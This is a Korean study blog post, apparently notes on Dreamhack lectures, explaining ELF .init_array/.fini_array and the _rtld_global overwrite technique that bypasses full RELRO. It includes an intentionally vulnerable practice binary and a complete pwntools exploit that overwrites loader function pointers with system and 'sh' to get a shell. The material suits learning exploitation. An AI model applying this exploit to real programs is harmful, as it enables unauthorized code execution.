rosieblue
article thumbnail
728x90

심심해서 넣은 그림

.init_array & .fini_array

.init_array.fini_array는 바이너리가 실행되고 종료될 때 초기화를 위해 참조하는 함수 포인터들이 저장되어 있는 섹션

이 배열들은 데이터 섹션에 존재하고 RELRO가 적용되면 overwrite 불가.

$ objdump -h ./array
array:     file format elf64-x86-64
 18 .init_array   00000008  00000000006008c0  00000000006008c0  000008c0  2**3
                  CONTENTS, ALLOC, LOAD, DATA
 19 .fini_array   00000008  00000000006008c8  00000000006008c8  000008c8  2**3

위처럼 objdump.init_arrary, .fini_arrary가 어디있는지 확인 가능

.init_array

void usercall noreturn start(__int64 a1@<rax>, void (*a2)(void)@<rdx>)
{
  ...
  __libc_start_main(main, v2, &_0, _libc_csu_init, _libc_csu_fini, a2, &v3); 
  //__libc_start_main 호출
  //__libc_start_main 인자로 _libc_csu_init, _libc_csu_fini 전달

바이너리가 처음 실행될 때 호출하는 start 함수는, 바이너리 실행에 필요한 요소들을 초기화하기 위해 __libc_start_main 함수를 호출함.

__libc_start_main.init_arrary를 참조하는데, 이 배열 안의 함수들은 _libc_csu_init 함수에 의해 실행됨

__libc_csu_init 함수

void __libc_csu_init (int argc, char **argv, char **envp)
{
  /* For dynamically linked executables the preinit array is executed by
     the dynamic linker (before initializing any shared object).  */
#ifndef LIBC_NONSHARED
  /* For static executables, preinit happens right before init.  */
  {
    const size_t size = __preinit_array_end - __preinit_array_start;
    size_t i;
    for (i = 0; i < size; i++)
      (*__preinit_array_start [i]) (argc, argv, envp);
  }
#endif
#ifndef NO_INITFINI
  _init ();
#endif
  const size_t size = __init_array_end - __init_array_start; //init 배열 사이즈
  for (size_t i = 0; i < size; i++)
      (*__init_array_start [i]) (argc, argv, envp); //사이즈만큼 배열 요소 하나하나 실행
}

__init_array_start [i] (arc,argv,envp)로 init array 안의 값들을 순차적으로 호출하는 것을 볼 수 있음

바이너리 종료 시에도 이와 비슷한 방식으로 .fini_array를 호출함

.fini_arrary

main 함수 리턴 후 GI_exit 함수 호출

void exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}

GI_exit함수는 내부에서 __run_exit_handlers 함수를 호출하고 인자로 __exit_funcs 구조체안의 flavor 변수를 참고해 호출됨.

기본적으로 이때 dl_fini 함수를 호출하게 됨

이때 dl_fini 함수 내부에서 <_dl_fini+777>: mov r12,QWORD PTR [rax+0x8] 를 실행하게 되는데 이때 rax+0x8이 .fini_arrary를 가리키고 있게 됨. 따라서 RELRO가 적용되어있지 않다면 이것을 overwrite 할 수 있음

정리하면 main 함수 ret -> GI_exit-> __run_exit_handlers -> dl_fini -> .fini_array 참조

_rtld_global Overwrite

위에랑 비슷한 앤데 이 애는 실습 코드를 통해 확인해보자.

// gcc -o dlfini dlfini.c -no-pie -z relro -z now
#include <stdio.h>
#include <stdlib.h>
int main()
{
    long long addr;
    long long data;

    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);

    printf("stdout: %lp\n",stdout);
    printf("addr: ");
    scanf("%ld",&addr);

    printf("data: ");
    scanf("%ld",&data);

    *(long long *)addr = data;

    exit(0);
}

RELRO가 적용되었으므로 .fini_array나 .ini_array의 overwrite는 불가능하다.

이때 할 수 있는게 _rtld_global overwrite이다.

아까 내용을 다시 복습해보면 main 함수가 끝난 후에는 아래와 같은 흐름으로 함수가 진행되었었다.

 

GI_exit -> __run_exit_handlers -> dl_fini

 

dl_fini에서는 위에서 .fini_array를 참조했었다. 하지만 RELRO 때문에 쓰기 권한이 있는 다른 부분을 찾아야한다.

void _dl_fini (void)
{
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      /* Protect against concurrent loads and unloads.  */
      __rtld_lock_lock_recursive (GL(dl_load_lock));
      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
      /* No need to do anything for empty namespaces or those used for
     auditing DSOs.  */
      if (nloaded == 0)
    __rtld_lock_unlock_recursive (GL(dl_load_lock));

여기서 __rtld_lock_lock_recursive (GL(dl_load_lock)); 부분을 유심히 보자


dl_fini 내부에서는 dl_load_lock를 인자로 __rtld_lock_lock_recursive를 호출한다.
이때 __rtld_lock_lock_recursive_dl_rtld_lock_recursive라는 함수포인터를 가리키는 함수 포인터이다.

그리고 _dl_rtld_lock_recursive는 또 rtld_lock_default_lock_recursive라는 함수를 가리킨다.

 

이때 dl_load_lock과 함수 _dl_rtld_lock_recursive는 모두 _rtld_global 구조체의 멤버이다.

이 구조체는 로더 내에 존재하므로 주소를 알아내려면 로더 주소 릭이 필요하다.

한편 _rtld_global에는 쓰기 권한이 부여되어있으므로 _dl_rtld_lock_recursivedl_load_lock을 각각 execve와 '/bin/sh'등으로 overwrite 시켜주면 쉘을 획득할 수 있다.

$ gdb example2
gdb-peda$ start
gdb-peda$ p _rtld_global
_dl_load_lock = {
    mutex = {
      __data = {
        __lock = 0x0, 
        __count = 0x0, 
        __owner = 0x0, 
        __nusers = 0x0, 
        __kind = 0x1, 
        __spins = 0x0, 
        __elision = 0x0, 
        __list = {
          __prev = 0x0, 
          __next = 0x0
        }
      }, 
      __size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>, 
      __align = 0x0
    }
  },
  _dl_rtld_lock_recursive = 0x7ffff7dd60e0 <rtld_lock_default_lock_recursive>, 
  ...
}
gdb-peda$ p &_rtld_global._dl_rtld_lock_recursive
$2 = (void (**)(void *)) 0x7ffff7ffdf60 <_rtld_global+3840>
gdb-peda$ vmmap 0x7ffff7ffdf60
Start              End                Perm    Name
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p    /lib/x86_64-linux-gnu/ld-2.27.so

위에서 본 예제는 임의주소에 임의 값을 넣는 코드가 있었다. 그런데 우리는 dl_load_lock 변수와 함수 _dl_rtld_lock_recursive 두개를 overwrite해야하므로 한번에 할 수 없다.

 

따라서 우리는 _dl_rtld_lock_recursive을 start함수로 바꾸어 '계속해서' 임의 주소 쓰기를 가능하게 할 것이다.

 

참고로 ld.so가 다를 경우 오프셋이 달라 실습을 진행하기 어렵다. 이때 patchelf라는 명령어를 사용하여 바이너리에 원하는 ld 파일을 사용하게 할 수 있다!!

$ patchelf --set-interpreter ./ld-2.27.so ./ow_rtld

이렇게 할 수 있게따 !!

 

라이브러리 공유 파일이 잘 매핑된 것은 아래처럼 확인하면 되겠다.

$ gdb ./ow_rtld
pwndbg> entry
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x555555400000     0x555555401000 r-xp     1000      0 /home/dreamhack/ow_rtld
    0x555555600000     0x555555601000 r--p     1000      0 /home/dreamhack/ow_rtld
    0x555555601000     0x555555602000 rw-p     1000   1000 /home/dreamhack/ow_rtld
    0x555555602000     0x555555603000 rw-p     1000   3000 /home/dreamhack/ow_rtld
    0x7ffff79e4000     0x7ffff7bcb000 r-xp   1e7000      0 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7bcb000     0x7ffff7dcb000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcb000     0x7ffff7dcf000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dcf000     0x7ffff7dd1000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff7dd1000     0x7ffff7dd5000 rw-p     4000      0 [anon_7ffff7dd1]
    0x7ffff7dd5000     0x7ffff7dfc000 r-xp    27000      0 /home/dreamhack/ld-2.27.so
    0x7ffff7fee000     0x7ffff7ff0000 rw-p     2000      0 [anon_7ffff7fee]
    0x7ffff7ff6000     0x7ffff7ffa000 r--p     4000      0 [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000      0 [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000  27000 /home/dreamhack/ld-2.27.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000  28000 /home/dreamhack/ld-2.27.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000      0 [anon_7ffff7ffe]
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]
	0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]

우리가 설정한 /home/dreamhack/ld-2.27.so가 잘 매핑되어있는 것을 위 코드 하단에서 확인할 수 있다!

 

 

최종 익스플로잇 코드

# dlfini.py
from pwn import *

p = process("./dlfini")

print p.recvuntil("stdout: ")
leak = int(p.recvuntil("\n").strip("\n"),16)

libc_base = leak - 0x3ec760
system = libc_base + 0x4f440
ld_base = libc_base + 0x3f1000

rtld_global = ld_base + 0x228060
rtld_recursive = rtld_global + 3840
rtld_load_lock = rtld_global + 2312

print hex(rtld_recursive)

print p.sendlineafter("addr:",str(rtld_recursive))
print p.sendlineafter("data:",str(0x0000000000400580)) # start

print p.sendlineafter("addr:",str(rtld_load_lock))
print p.sendlineafter("data:",str(0x6873)) # sh 

print p.sendlineafter("addr:",str(rtld_recursive))
print p.sendlineafter("data:",str(system)) # main 

p.interactive()

 

퀴즈

프로그램이 종료될 때에는 먼저 __GI_exit이 나오고 그뒤에 __run_exit_handlers, 그다음에 dl_fini이었다. dl_main은 나오지 않는다.

 

_rtld_global은 라이브러리가 아니라 로더 내에 존재했다. 그래서 라이브러리 릭이 아닌 로더 릭이 필요했다(로더를 구하기 위해 라이브러리 릭을 하긴 했지만..)

 

정리

 

dl_fini는 __rtld_lock_lock_recursive (GL(dl_load_lock)를 호출하는데 이 함수와 인자 모두 rtld_global의 멤버(를 가리키는 포인터)임. 그런데 이 구조체 안의 값은 쓰기 권한이 있으므로 overwrite가능 

그리고 이 구조체는 로더 안에 있으므로 로더 릭 필요 (patchelf 사용)

 

References

https://dreamhack.io/lecture/courses/268 

https://dreamhack.io/lecture/courses/269

https://dreamhack.io/lecture/courses/11

 

profile

rosieblue

@Rosieblue

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!